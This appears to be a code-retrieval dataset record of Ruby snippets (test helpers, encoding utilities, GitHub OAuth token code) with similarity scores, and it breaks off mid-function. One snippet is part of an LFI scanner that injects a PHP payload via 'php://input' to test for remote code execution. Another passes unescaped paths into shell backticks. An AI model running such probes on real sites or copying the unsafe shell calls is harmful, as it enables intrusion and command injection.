World\\n\", runExe(lExeFileName))\n # TODO: Test it without Ruby's environment\n end\n end\n end", "def is_code?(line,labelhash)\n if @to_code && line !~ /^#include \"(page|align|pass).i65\".*/ # filter chaffy includes\n if @code.nil?\n # first line is special, the label\n @label = line\nputs @label if @label == \"STUDIO\"\n @addr = labelhash[@label]\n # start with a code quote and a slider button\n @code =\n \"\\n\\n\\n<$button popup=\\\"$:/state/codeSlider\\\">code</$button>\"\\\n \"<$reveal type=\\\"nomatch\\\" text=\\\"\\\" default=\\\"\\\" \"\\\n \"state=\\\"$:/state/codeSlider\\\" animate=\\\"yes\\\">\\n\\n```\"\n end\n # append code line, filter chaff\n @code += \"\\n\"+line\n end\n # turn on code trigger after checking, to avoid capturing the `#endif`\n if (line =~ /^\\#endif$/) # non-`#if 0` should have a comment after #endif in source\n @to_code = true\n end\n end", "def format_source(source); end", "def assert_offense(cop, source)\n RuboCop::Formatter::DisabledConfigFormatter.config_to_allow_offenses = {}\n RuboCop::Formatter::DisabledConfigFormatter.detected_styles = {}\n cop.instance_variable_get(:@options)[:auto_correct] = true\n expected = AnnotatedSource.parse(source)\n\n @last_source = RuboCop::ProcessedSource.new(\n expected.plain_source, RUBY_VERSION, nil\n )\n\n raise \"Error parsing example code\" unless @last_source.valid_syntax?\n\n _investigate(cop, @last_source)\n\n actual_annotations = expected.with_offense_annotations(cop.offenses)\n assert_equal expected.to_s, actual_annotations.to_s\n end", "def test_normalization_data\n skip if jruby?\n failures = []\n\n normalization_file = File.join(File.dirname(__FILE__), \"NormalizationTest.txt\")\n File.open(normalization_file, \"r\") do |file|\n file.each_line do |line|\n # Skip line if it's only a comment or header\n next if line =~ /^(?:\\#|\\@)/\n\n # Determine where the comment portion of the line starts, and split.\n split_point = line.index(\" # \")\n tests = line[0..split_point]\n comment = line[(split_point + 3)..-1]\n\n # Break comment portion into listed chars and description\n desc_chars, description = comment.split(/(?<=[\\)])\\s/)\n\n # Trim/split description characters and remove illustrative circles.\n desc_chars = desc_chars.gsub!(/^\\(|\\u{25CC}|\\)$/, \"\").split(/;\\s/)\n\n # Unescape test sequences into unicode characters.\n tests = tests.split(/;\\s?/).map! do |test|\n test.gsub!(/([\\h]{4,6}\\s?)+/) do |m|\n eval(%(\"\\\\u{#{m}}\")) # rubocop:disable Eval\n end\n end\n\n # Be verbose maybe.\n tputs([description, desc_chars.inspect], STDERR) if $DEBUG\n\n # Ensure unescaped characters match description characters\n assert_equal tests, desc_chars\n\n tries = [::UTF8Proc.NFC(tests[0]), ::UTF8Proc.NFD(tests[0]),\n ::UTF8Proc.NFKC(tests[0]), ::UTF8Proc.NFKD(tests[0])]\n\n failures << \"#{tries.inspect} != #{tests[1..-1]}\" if tries != tests[1..-1]\n end\n end\n failures.each { |f| STDERR.puts \"Failure: #{f}\" } if $DEBUG\n\n assert_empty failures\n end", "def check_for_correct_output\n\t\tif Digest::MD5.hexdigest(File.read(OUTFILE)) == CORRECT_MD5\n\t\t\tputs 'Output is correct!'\n\t\telse\n\t\t\tputs 'Output is incorrect. Continue debugging.'\n\t\tend\n\tend", "def to_utf8(src, dest)\n inpath = File.expand_path(src)\n outpath = File.expand_path(dest)\n\n m, src_enc = *@head.match(/encoding=.([a-zA-Z0-9\\-]+)./i)\n\n # ensure the file is actually utf8\n if `isutf8 #{inpath}`.strip == \"\"\n if src_enc.to_s.downcase == \"utf-8\"\n FileUtils.cp(inpath, outpath)\n else\n FileUtils.cp(inpath, outpath)\n `sed -i 's/<?xml.*?>/<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>/' #{outpath}`\n end\n elsif src_enc\n `iconv --from-code=#{src_enc} --to-code=UTF-8 #{inpath} > #{outpath}`\n `sed -i 's/#{src_enc}/UTF-8/' #{outpath}`\n else\n FileUtils.cp(inpath, outpath)\n end\n end", "def text source=nil\n header = read(source)\n\n # strip shebang and encoding comments\n header.sub! /\\A#!.+\\n?/, ''\n header.sub! /\\A#.*coding:.+\\n?/, ''\n\n # extract the embedded manpage source\n if header =~ /\\A\\s*^#/\n header.split(/^\\s*$/, 2).first.gsub(/^# ?/, '')\n else\n header[/^=begin\\b.*?$(.*?)^=end\\b.*?$/m, 1].to_s\n end.strip\n end", "def assert(expected, output)\n left = expected.to_s.gsub(/\\s+/, ' ').gsub(/>\\s+</, '><').strip\n right = output.to_s.gsub(/\\s+/, ' ').gsub(/>\\s+</, '><').strip\n left.scan(/./).sort.should == right.scan(/./).sort\n#\n# unless left == right\n# puts \"\", \"Expected:\"\n# puts left\n# puts tidy(left)\n# puts \"\", \"Got:\"\n# puts right\n# puts tidy(right)\n# puts\n# end\n# left.should == right\n end", "def source_buffer; end", "def source_buffer; end", "def source_buffer; end", "def normalize_unicode(file_path)\n `command -v convmv`\n return [\"Could not find `convmv` command, required on macOS.\"] unless $?.success?\n\n _stdout, _stderr, status = Open3.capture3(\n \"convmv -f UTF-8 -t UTF-8 --nfc --notest \\\"#{file_path}\\\"\",\n )\n\n return [\"Transcode pipeline exited with non-zero code: #{status.exitstatus}\"] unless status.success?\n\n []\n end", "def test_match_case_sensitive_binary_no_match\r\n\t\t#content with exact match\r\n\t\tcontent = \"first line.\\nthis string doesnt contains a match on: My\"\r\n\t\tsnort_rule_content = SnortRuleContent.new\r\n\t\tsnort_rule_content.unescaped_string = \"M|79|Mat|63 68|123\" #equals MyMatch123\r\n\t\tsnort_rule_content.nocase = false\r\n\t\tassert(!snort_rule_content.match(content,0),\"case sensitive match on no match content.\")\r\n\tend", "def expected_char_checked()\n self.expected_char_checked_stm_line()\n self.expected_char_checked_stm_token()\n end", "def raw_source=(input); end", "def test_basic\n testbase = 'help'\n op = StringIO.new('', 'w')\n Dir.chdir(SRC_DIR) do \n script = File.join('data', \"#{testbase}.cmd\")\n Debugger.const_set('Version', 'unit testing')\n Debugger.run_script(script, op)\n got_lines = op.string.split(\"\\n\")\n right_file = File.join('data', \"#{testbase}.right\")\n correct_lines = File.readlines(right_file)\n result = cheap_diff(got_lines, correct_lines)\n unless result\n puts '-' * 80\n puts got_lines \n puts '-' * 80\n end\n assert result \n end\n end", "def assert_correct_output(expected_outputs, command_output)\n foundit = check_correct_output(expected_outputs, command_output)\n assert(foundit, \"Did not find in command output: #{expected_outputs}\")\n end", "def assert_correction(cop, expected)\n raise \"`assert_correction` must follow `assert_offense`\" unless @last_source\n\n actual = RuboCop::Cop::Corrector.new(@last_source.buffer, cop.corrections).rewrite\n\n assert_equal expected, actual\n end", "def pre_process(expectations, source)\n\t\tsource\n\tend", "def test_kata_test\n txtwrld_before = <<EOS\n........\n....*...\n...**...\n........\nEOS\n test_world = World.new(txtwrld_before)\n\n test_world.turn\n\n txtwrld_has_to_be_after = <<EOS\n........\n...**...\n...**...\n........\nEOS\n\n txtwrld_has_to_be_after.chop! #for equating\n\n assert_equal txtwrld_has_to_be_after, test_world.to_text\n end", "def assert(expected, output)\n left = expected.to_s.gsub(/\\s+/, ' ').gsub(/>\\s+</, '><').strip\n right = output.to_s.gsub(/\\s+/, ' ').gsub(/>\\s+</, '><').strip\n nodiff = left.scan(/./).sort == right.scan(/./).sort\n unless ( nodiff )\n puts \"\\nERROR in comparaison\\n\"\n puts \"EXPECTED : #{left}\"\n puts \"RETURNED : #{right}\"\n end\n nodiff.should == true\n end", "def execute_and_compare_stdout_with cmd, args, options, expected_output\n output = capture_stdout do\n cmd.execute(args, options)\n end\n output.should == expected_output\nend", "def analysis_succeeded(stdout)\n while (line = stdout.gets)\n puts line\n end\n end", "def match?(ast)\n source_line == ast.line\n end", "def assert_html(expectation, source, print_error_if_error: true, vars: {})\n renderer = Bade::Renderer.from_source(source).with_locals(vars)\n assert_html_from_renderer renderer, expectation, print_error_if_error: print_error_if_error\nend", "def receive_code(s, expected, context)\n code = get_int(s, context)\n\n if(code != expected)\n puts(\"Error! Unexpected response: 0x%08x :: %s\" % [code, context])\n puts(\"Often, re-running it will fix this, it's due to network or randomization issues\")\n exit\n end\nend", "def _rl_compare_chars(buf1, pos1, buf2, pos2)\r\n return false if buf1[pos1].nil? || buf2[pos2].nil?\r\n case @encoding\r\n when 'E'\r\n buf1[pos1..-1].scan(/./me)[0] == buf2[pos2..-1].scan(/./me)[0]\r\n when 'S'\r\n buf1[pos1..-1].scan(/./ms)[0] == buf2[pos2..-1].scan(/./ms)[0]\r\n when 'U'\r\n buf1[pos1..-1].scan(/./mu)[0] == buf2[pos2..-1].scan(/./mu)[0]\r\n when 'X'\r\n buf1[pos1..-1].force_encoding(@encoding_name)[0] == buf2[pos2..-1].force_encoding(@encoding_name)[0]\r\n else\r\n buf1[pos1] == buf2[pos2]\r\n end\r\n end", "def formatted_source_file(result, source_file)\n template(\"source_file\").result(binding)\n rescue Encoding::CompatibilityError => e\n puts \"Encoding error file:#{source_file.filename} Coverband/ERB error #{e.message}.\"\n end", "def source_line; end", "def test_code_3\n string = \"Line 14: 31 elements in stack after evaluation\\n\"\n assert_output(string) { Errorcode.error(3, 14, 31) }\n end", "def test_stdin_redir\n with_fixture 'stdinredir' do\n assert system(\"ruby\", ocra, \"stdinredir.rb\", *DefaultArgs)\n assert File.exist?(\"stdinredir.exe\")\n system(\"stdinredir.exe < input.txt\")\n assert 104, $?.exitstatus\n end\n end", "def test_two_slashes\n\texpect_error(\"\\n\\n\\n</x/>\", # on two lines due to rubymode.el\n\t\t /slash appears at both beginning and end/, 4)\n end", "def input\n\t\tputs \"[\".light_green + \"*\".white + \"] Testing for \".light_green + \"php://input\".white + \" RCE Vuln\".light_green + \".....\".white\n\t\tif not $module_required['NullByte'].downcase == 'false'\n\t\t\tfunk = $module_required['Target'].sub(\"[LFI]\", \"php://input#{$nullbyte}\").chomp\n\t\telse\n\t\t\tfunk = $module_required['Target'].sub(\"[LFI]\", \"php://input\").chomp\n\t\tend\n\t\t@rnd = randz(5)\n\t\tpayload = \"<?echo \\\":\\\".\\\"#{@rnd}:\\\".\\\"working...check,check,1,2,3\\\".\\\":#{@rnd}:\\\";?>\"\n\t\tinputinject(funk, payload)\n\t\tif not @success == 'fail'\n\t\t\tputs \"[\".light_green + \"*\".white + \"] Mark Found\".light_green + \": #{@success}\".white\n\t\t\tputs \"[\".light_green + \"*\".white + \"] w00t \".light_green + \"-\".white + \" RCE achieved via php://input wrapper\".light_green + \"!\".white\n\t\telse\n\t\t\tputs \"[\".light_red + \"X\".white + \"] Site doesn't appear to be vulnerable to php://input wrapper method, sorry\".light_red + \"....\".white\n\t\tend\n\tend", "def test_run_runs_the_command_and_returns_the_output\n Crd::Flex::Command.new 'echo' do |s|\n s.output = 'Main.swf'\n assert_equal( '-output=Main.swf', s.run! )\n end\n end", "def assert_output output\n stdout = $stdout.dup\n Tempfile.open 'stdout-redirect' do |temp|\n $stdout.reopen temp.path, 'w'\n yield if block_given?\n $stdout.reopen stdout\n temp.rewind\n\n temp.readline; temp.readline\n assert_equal output, temp.read.chop\n end \n end", "def testBasicBinaryInTerminal\n execTest('Applications/Basic', [], 'ReleaseInfo_ExeTerm.rb') do |iReleaseDir, iReleaseInfo|\n checkReleaseInfo(iReleaseDir, iReleaseInfo)\n checkReleaseNotes(iReleaseDir, iReleaseInfo)\n lExeFileName = \"#{iReleaseDir}/Release/ExeName\"\n assert(File.exists?(lExeFileName))\n # Unless the Executable file can contain other rb files (please Crate come faster !), files are still present.\n assert(File.exists?(\"#{iReleaseDir}/Release/Main.rb\"))\n # Test it in Ruby's environment\n assert_equal(\"Ruby found on current platform. Use it directly.\nHello World\\n\", runExe(lExeFileName))\n # TODO: Test it without Ruby's environment\n end\n end" ]
[ "0.6836297", "0.57445174", "0.5527761", "0.55262053", "0.5476257", "0.53938174", "0.53484714", "0.52858", "0.5235409", "0.52103627", "0.5196066", "0.5159371", "0.51182836", "0.5092261", "0.5085589", "0.5081283", "0.5078978", "0.50459325", "0.50458187", "0.5039253", "0.503713", "0.49869055", "0.49462447", "0.49252346", "0.4915081", "0.4900123", "0.4882899", "0.48783025", "0.4867528", "0.48608613", "0.4858859", "0.4848172", "0.48275456", "0.4819254", "0.48187", "0.480686", "0.47991022", "0.47940084", "0.47912258", "0.47814208", "0.4779603", "0.4775871", "0.4761533", "0.4740038", "0.47345924", "0.47302523", "0.47259742", "0.47192526", "0.47152945", "0.4714357", "0.47111318", "0.46980423", "0.46961072", "0.4690349", "0.4688173", "0.46835622", "0.4668919", "0.4663631", "0.4661734", "0.46578097", "0.46542948", "0.4648258", "0.46442586", "0.46376926", "0.4632734", "0.4628154", "0.46249282", "0.46209028", "0.46086252", "0.46078077", "0.45998788", "0.45962703", "0.45857254", "0.45857254", "0.45857254", "0.45833978", "0.4583392", "0.45828098", "0.4575206", "0.4572418", "0.4572289", "0.45706996", "0.4569434", "0.45493564", "0.4546322", "0.4543201", "0.45425874", "0.45272544", "0.4520222", "0.4519449", "0.45151868", "0.4500297", "0.44904238", "0.44898337", "0.4489653", "0.44876286", "0.448188", "0.4480222", "0.44794658", "0.4478865" ]
0.79969436
0
Returns a GitHubV3API instance that is able to access github with the +access_token+ owner's authorization. +access_token+:: an OAuth2 access token from GitHub
def initialize(access_token) @access_token = access_token end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def github_client\n Octokit::Client.new access_token: self.setting.user_with_token.client_token\n end", "def github_client\n Octokit::Client.new(\n access_token: ENV.try(:[], \"GITHUB_ACCESS_TOKEN\"),\n auto_paginate: true\n )\n end", "def client\n @client ||= Github::ApiProxy.new(@options[:access_token])\n end", "def github\n @github ||= begin\n if username.present? && github_access_token.present?\n Octokit::Client.new(login: username, oauth_token: github_access_token, auto_traversal: true)\n else\n nil\n end\n end\n end", "def github_client\n @github_client ||= begin\n if provider = self.omni_auth_providers.where(name: \"github\").first\n Octokit::Client.new(access_token: provider.access_token)\n end\n end\n end", "def github_client\n Octokit::Client.new(:login => username, :oauth_token => token)\n end", "def client\n Octokit::Client.new(access_token: decrypt(@user.github_token))\n end", "def github_client\n p = Project.find(params[:id])\n if p.github_token\n github = Github.new :oauth_token => p.github_token\n else\n github = Github.new :client_id => GITHUB_CLIENT_ID , :client_secret => GITHUB_CLIENT_SECRET\n end\n end", "def access_token\n return @access_token if @access_token\n creds = YAML.load(File.read(File.expand_path('~/.github.yml')))\n @access_token = creds[\"token\"]\nend", "def github_api(user = current_user)\n @github_api ||= GithubApi.new(github_token, user)\n end", "def github_repo(access_token, repo)\n client = Octokit::Client.new :access_token => access_token\n client.repo repo\n end", "def github_api_setup\n @github_api ||= Github.new(oauth_token: self.token)\n end", "def create_client\n token = File.open(GITHUB_TOKEN_FILE).read\n Octokit::Client.new(access_token: token)\nend", "def configure_github_access\n if Settings.instance.oauth_token\n @github = Octokit::Client.new(\n :login => Settings.instance.username,\n :oauth_token => Settings.instance.oauth_token\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end", "def github\n\n @github = Github.new({ client_id: CONFIG[:GITHUB_CLIENT_ID], client_secret: CONFIG[:GITHUB_CLIENT_SECRET] })\n end", "def build_token(access_token)\n return OAuth2::AccessToken.new CLIENT, access_token\n end", "def client\n Octokit::Client.new(\n access_token: ENV['GITHUB_ACCESS_TOKEN']\n )\n end", "def client\n Octokit::Client.new(\n access_token: ENV['GITHUB_ACCESS_TOKEN']\n )\n end", "def build_client(access_token)\n begin\n client = Octokit::Client.new(access_token: access_token)\n client.user.login\n rescue Octokit::Unauthorized\n raise 'Please enter valid Personal Auth Token'\n end\n client\n end", "def github_repo(access_token, api_endpoint, repo)\n client = Octokit::EnterpriseAdminClient.new :access_token => access_token :api_endpoint => api_endpoint\n client.repo repo \n end", "def from_access_token(access_token)\n Authentication::OAuth2::AccessTokenAuthentication\n .new(access_token)\n end", "def get_github_api(project, endpoint)\n token = \"9874304d5d35c105f590df83c48112ff43518fba\"\n uri = URI.parse(\"https://api.github.com/repos/NuCivic/\" + project + \"/\" + endpoint + '?access_token=' + token)\n request = Net::HTTP::Get.new(uri)\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n JSON.parse(response.body)\n end", "def configure_github_access\n settings = ::GitReview::Settings.instance\n if settings.oauth_token && settings.username\n @github = Octokit::Client.new(\n :login => settings.username,\n :access_token => settings.oauth_token,\n :auto_traversal => true\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end", "def get_with_app(url)\n github_api_conn.get do |request|\n request.url url\n\n request.headers['Authorization'] = \"Token #{access_token}\"\n request.headers['Accept'] = accept_header\n end\n end", "def octokit\n @octokit ||= octokit_client(github_oauth_token)\n end", "def project_from_github(input)\n Github::ProjectMapper\n .new(Api.config.GITHUB_TOKEN)\n .find(input[:owner_name], input[:project_name])\n rescue StandardError\n raise GH_NOT_FOUND_MSG\n end", "def client\n Octokit::Client.new(:access_token => \"#{token}\")\n end", "def access_token\n OAuth::AccessToken.new(consumer, oauth_token, oauth_token_secret)\n end", "def github_access_token(code)\n uri = URI('https://github.com/login/oauth/access_token')\n req = Net::HTTP::Post.new(uri)\n # Set Accept type to app/json to receive response in JSON format\n req['Accept'] = 'application/json'\n req.set_form_data('client_id' => Rails.application.config.github_client_id, 'client_secret' => Rails.application.config.github_secret, 'code' => code)\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n res = http.request(req)\n\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n # Parse JSON response\n tokenResponse = ActiveSupport::JSON.decode res.body\n if tokenResponse['access_token']\n response = { 'success' => true, 'token' => tokenResponse['access_token']}\n else\n response = { 'success' => false, 'message' => tokenResponse['error_description']}\n end\n else\n response = { 'success' => false, 'message' => 'Error receiving access_token: ' + res.value}\n end\n\n return response\n end", "def github_client(opts={})\n return unless has_github?\n\n @github_client ||= Github.new oauth_token: github_identity.token\n end", "def project_from_github(input)\n Github::ProjectMapper\n .new(App.config.GITHUB_TOKEN)\n .find(input[:owner_name], input[:project_name])\n rescue StandardError\n raise GH_NOT_FOUND_MSG\n end", "def authorization_token\n credentials = Socialcast::CommandLine.credentials\n return credentials[:scgitx_token] if credentials[:scgitx_token]\n\n username = current_user\n raise \"Github user not configured. Run: `git config --global github.user '[email protected]'`\" if username.empty?\n password = ask(\"Github password for #{username}: \") { |q| q.echo = false }\n\n payload = {:scopes => ['repo'], :note => 'Socialcast Git eXtension', :note_url => 'https://github.com/socialcast/socialcast-git-extensions'}.to_json\n response = RestClient::Request.new(:url => \"https://api.github.com/authorizations\", :method => \"POST\", :user => username, :password => password, :payload => payload, :headers => {:accept => :json, :content_type => :json, :user_agent => 'socialcast-git-extensions'}).execute\n data = JSON.parse response.body\n token = data['token']\n Socialcast::CommandLine.credentials = credentials.merge(:scgitx_token => token)\n token\n rescue RestClient::Exception => e\n process_error e\n throw e\n end", "def github_access_token\n ENV['GITHUB_ACCESS_TOKEN'].to_s.strip\n end", "def github_access_token\n ENV['GITHUB_ACCESS_TOKEN'].to_s.strip\n end", "def access_token\n @access_token ||= begin\n if oauth_options[:oauth_verifier]\n request_token.get_access_token(:oauth_verifier => oauth_options[:oauth_verifier])\n else\n request_token.get_access_token\n end\n end\n end", "def authorization_token\n credentials = Socialcast::CommandLine.credentials\n return credentials[:scgitx_token] if credentials[:scgitx_token]\n\n username = current_user\n raise \"Github user not configured. Run: `git config --global github.user '[email protected]'`\" if username.empty?\n password = HighLine.new.ask(\"Github password for #{username}: \") { |q| q.echo = false }\n default_token_name = 'Socialcast Git eXtension'\n token_name = HighLine.new.ask(\"Github token name for this machine (default: '#{default_token_name}'):\")\n token_name = default_token_name if token_name.empty?\n\n payload = {:scopes => ['repo'], :note => token_name, :note_url => 'https://github.com/socialcast/socialcast-git-extensions'}.to_json\n response = RestClient::Request.new(:url => \"https://api.github.com/authorizations\", :method => \"POST\", :user => username, :password => password, :payload => payload, :headers => {:accept => :json, :content_type => :json, :user_agent => 'socialcast-git-extensions'}).execute\n data = JSON.parse response.body\n token = data['token']\n Socialcast::CommandLine.credentials = credentials.merge(:scgitx_token => token)\n token\n rescue RestClient::Exception => e\n process_error e\n throw e\n end", "def index\n\n\n# # Exchange your oauth_token and oauth_token_secret for an AccessToken instance.\n# def prepare_access_token(oauth_token, oauth_token_secret)\n# consumer = OAuth::Consumer.new(\"e24305f14f7f9a67c465\", \"604015f905f6207ec29f3661b952397663d58347\",\n# { :site => \"https://api.github.com/\",\n# :scheme => :header\n# })\n# # now create the access token object from passed values\n# token_hash = { :oauth_token => oauth_token,\n# :oauth_token_secret => oauth_token_secret\n# }\n# access_token = OAuth::AccessToken.from_hash(consumer, token_hash )\n# return access_token\n# end\n\n# # Exchange our oauth_token and oauth_token secret for the AccessToken instance.\n# access_token = prepare_access_token(\"abcdefg\", \"hijklmnop\")\n# # use the access token as an agent to get the home timeline\n# @response = access_token.request(:get, \"https://api.github.com/repos/rails/rails/collaborators\")\n\n\n# curl https://api.github.com/repos/rails/rails/collaborators?client_id=e24305f14f7f9a67c465&client_secret=604015f905f6207ec29f3661b952397663d58347\n\n\n # url = \"https://github.com/login/oauth/authorize\"\n\n # @token = JSON.parse(open(url).read)\n\n @repo = Repo.new\n end", "def access_token\n @access_token ||= OAuth::AccessToken.new(consumer, @token, @secret)\n end", "def request_token\n json = cli.perform_quietly %Q(curl -u '#{username}:#{password}' -d '{\"scopes\": [\"repo\"], \"notes\": \"Octopolo\"}' https://api.github.com/authorizations)\n self.auth_response = JSON.parse json\n end", "def authenticate!(client_id, client_secret, code)\n response = Faraday.post \"https://github.com/login/oauth/access_token\", {client_id: client_id, client_secret: client_secret, code: code}, {'Accept' => 'application/json'}\n\n @access_token = JSON.parse(response.body)[\"access_token\"]\n\n end", "def access_token\n @access_token ||= OAuth::AccessToken.new(consumer, @token, @secret)\n end", "def access_token\n @oauth_access_token ||= ::OAuth::AccessToken.new(consumer, @access_token, @access_secret)\n end", "def access_token\n @access_token ||= AccessToken.new(caller_service: caller_service, authorizator_service: authorizator_service)\n end", "def octokit\n @octokit ||= Octokit::Client.new(access_token: settings.github_admin_token, auto_paginate: true)\n end", "def config_github(api_key)\n @github = GitHub.new(api_key)\n end", "def initialize_api\n @github_api = ::Github::Repos.new do |github_config|\n github_config.endpoint = @endpoint if @endpoint\n github_config.site = @site if @site\n github_config.basic_auth = @auth\n github_config.repo = @repo\n github_config.org = @org\n github_config.adapter = :net_http\n github_config.ssl = {:verify => false}\n end\n end", "def authorize\n \tsession[:return_to] = request.referer\n session[:project_id] = params[:project_id]\n \tgithub = Github.new :client_id => GITHUB_CLIENT_ID , :client_secret => GITHUB_CLIENT_SECRET\n address = github.authorize_url :scope => ['repo', 'user']\n redirect_to address\n end", "def octokit\n @octokit ||= Octokit::Client.new(access_token: token)\n end", "def get_access_token! name = nil\n oauth_instance(name).get_access_token!(oauth_request_env)\n end", "def get_access_token\n response = RestClient.post(\"#{API_URL}/authentication/v1/authenticate\",\n { client_id: CLIENT_ID, client_secret: CLIENT_SECRET, grant_type:'client_credentials',scope:'data:read data:write bucket:create' })\n return JSON.parse(response.body)['access_token']\nend", "def call_gh_api(url)\n auth = \"Bearer #{session[:access_token]}\"\n HTTParty.get(url, headers: { 'Authorization' => auth })\n end", "def client\n client_object_exists = (defined?(@client) != nil)\n if client_object_exists\n return @client\n else\n # When coming through a commit hook endpoint, the github_id won't be saved\n # in the session, so we need to be able to grab it from a class instance variable.\n # @todo: actually there's a better way to do this. See it mentioned in my\n # other @todo in this file.\n if session[:github_id] != nil\n github_id = session[:github_id]\n elsif @github_id != nil\n github_id = @github_id\n else\n authenticate!\n end\n\n user = User.find_by(github_id: github_id)\n if Octokit.validate_credentials({ :access_token => user.token })\n # Auto paginate to prevent repo-list truncation on the books/new page. This may\n # hurt performance, so keep an eye on it.\n @client = Octokit::Client.new :access_token => user.token, :auto_paginate => true\n else\n authenticate!\n end\n end\nend", "def client_context\n # Use static access token from environment. However, here we have access\n # to the current request so we could configure the token to be retrieved\n # from a session cookie.\n { access_token: GitHub::Application.secrets.github_access_token }\n end", "def api_call(path)\n url = \"https://api.github.com#{path}\"\n url << \"?access_token=#{ENV['GITHUB_API_TOKEN']}\" if ENV['GITHUB_API_TOKEN']\n resp = get(url)\n if resp.code.to_i != 200\n nil\n else\n data = resp.body\n JSON.parse(data)\n end\nend", "def get_access_token\n client = Google::APIClient.new(\n :application_name => \"BBXiaoWo\",\n :application_version => \"1.0\"\n )\n prediction = client.discovered_api('prediction', 'v1.5')\n \n key = Google::APIClient::KeyUtils.load_from_pkcs12(P12_PATH, 'notasecret')\n \n client.authorization = Signet::OAuth2::Client.new(\n :token_credential_uri => 'https://accounts.google.com/o/oauth2/token',\n :audience => 'https://accounts.google.com/o/oauth2/token',\n :scope => 'https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/userinfo.profile',\n :issuer => '128823476752-40rmv6upgfe37q2u64eftmoe493uffin@developer.gserviceaccount.com',\n :signing_key => key,\n )\n client.authorization.fetch_access_token!\n client.authorization.access_token\n end", "def get_access_token! env\n params = session(env).delete(:access_token_params)\n ::OAuth::AccessToken.from_hash consumer, params if params\n end", "def get_access_token name = nil\n oauth_instance(name).get_access_token(oauth_request_env)\n end", "def get_access_token! env\n params = session(env).delete(:access_token_params)\n ::OAuth::AccessToken.from_hash consumer, params if params\n end", "def resolve\n if (login = env['GITHUB_LOGIN']) && (password = env['GITHUB_PASSWORD'])\n { login: login, password: password }\n elsif access_token = env['GITHUB_ACCESS_TOKEN']\n { access_token: access_token }\n elsif (client_id = env['GITHUB_CLIENT_ID']) && (client_secret = env['GITHUB_CLIENT_SECRET'])\n { client_id: client_id, client_secret: client_secret }\n elsif netrc_file = env['NETRC_FILE']\n raise MissingCredentials.new(netrc_file) unless Netrc.read(netrc_file)['api.github.com']\n { netrc: true, netrc_file: netrc_file }\n elsif Netrc.read['api.github.com']\n { netrc: true }\n else\n raise MissingCredentials\n end\n end", "def create\n\t\t# we're sent here by the GET '/auth' => 'sessions#create' route\n\t\t# response = Faraday.post(\"https://github.com/login/oauth/access_token\") do |request|\n\t\t# \trequest.headers['Accept'] = 'application/json'\n\t\t# \trequest.body = JSON.generate({\n\t\t# \t\t\t'client_id': ENV[\"GITHUB_CLIENT_ID\"],\n\t\t# \t\t\t'client_secret': ENV[\"GITHUB_CLIENT_SECRET\"],\n\t\t# \t\t\t'code': params[:code]\n\t\t# \t\t})\n\t\t# end\n\t\t# could also be written \n\t\tresponse = Faraday.post \"https://github.com/login/oauth/access_token\", {client_id: ENV[\"GITHUB_CLIENT_ID\"], client_secret: ENV[\"GITHUB_CLIENT_SECRET\"],code: params[:code]}, {'Accept' => 'application/json'}\n\n\t\t# this is sent back by github under the following form by default\n\t\t# access_token=e72e16c7e42f292c6912e7710c838347ae178b4a&scope=user%2Cgist&token_type=bearer\n\t\t# and since we asked for headers \"Accept: application/json\"\n\t\t# {\"access_token\":\"e72e16c7e42f292c6912e7710c838347ae178b4a\", \"scope\":\"repo,gist\", \"token_type\":\"bearer\"}\n\t\taccess_hash = JSON.parse(response.body)\n\t\tsession[:token] = access_hash[\"access_token\"]\n\n\t\t##### Now we have the token and we can use it to access the API\n\n\t\t# we make a call to get the username\n\t\tuser_response = Faraday.get \"https://api.github.com/user\", {}, {'Authorization' => \"token #{session[:token]}\", 'Accept' => 'application/json'}\n\t\t# parse the response body\n\t\tuser_json = JSON.parse(user_response.body)\n\t\t# set the username into the session\n\t\tsession[:username] = user_json[\"login\"]\n\t\tbinding.pry\n\t\t# next step happens in the root path (repositories#index)\n\t\tredirect_to root_path\n\tend", "def get_access_token\n response = RestClient.post(\"#{API_URL}/authentication/v1/authenticate\",\n { client_id: Rails.application.secrets.FORGE_CLIENT_ID,\n client_secret: Rails.application.secrets.FORGE_CLIENT_SECRET,\n grant_type:'client_credentials',scope:'data:read data:write bucket:create'\n \n })\n return JSON.parse(response.body)['access_token']\n end", "def octokit_client\n # Check if we already have the octokit client stored in an instance variable else fetch it using\n # the user's access token to authenticate.\n @client ||= Octokit::Client.new :access_token => token\n @client\n end", "def token\n @token ||= begin\n token = redis_client.token\n\n return token if token.present?\n\n resp = client.token\n\n Oj.load(resp.body)&.fetch('access_token').tap do |access_token|\n redis_client.save_token(token: access_token)\n end\n end\n end", "def new(options = {}, &block)\n #@api_client = Github::Client.new(options, &block)\n end", "def get_access_token\n return @access_token if authorized?\n\n if @request_token.nil?\n raise DropboxAuthError.new(\"No request token. You must set this or get an authorize url first.\")\n end\n\n @access_token = get_token(\"/access_token\", @request_token, \"Couldn't get access token.\")\n end", "def access_token\n Rails.cache.fetch(\"googl_access_token\", expires_in: 50.minutes) do \n request = { query: { client_id: ENV['GOOGL_CLIENT_ID'],\n client_secret: ENV['GOOGL_CLIENT_SECRET'],\n refresh_token: ENV['GOOGL_REFRESH_TOKEN'],\n grant_type: \"refresh_token\"} }\n\n result = self.class.post(\"/oauth2/v3/token\", request)\n\n result.parsed_response[\"access_token\"]\n end\n end", "def api\n @api ||= Octokit::Client.new(:login => login, :oauth_token => token)\n end", "def authorize\n @github = Github.new\n address = @github.authorize_url :redirect_uri => 'http://96.52.188.123:3000/github_auth', :scope => 'user'\n redirect_to address\n end", "def callback\n \tgithub = Github.new :client_id => GITHUB_CLIENT_ID , :client_secret => GITHUB_CLIENT_SECRET\n if not params[:error]\n @project = Project.find(session[:project_id])\n authorization_code = params[:code]\n access_token = github.get_token authorization_code\n session[:github_session] = access_token.token # => returns token value\t\n flash[:success] = \"You have successfully authorized with github.\"\n github.oauth_token = access_token.token\n @project.github_user = github.users.get.body[\"login\"]\n @project.github_token = access_token.token\n @project.save\n end\n redirect_to session[:return_to]\t\n end", "def get_access_token(account_number, token)\r\n # the base uri for api requests\r\n 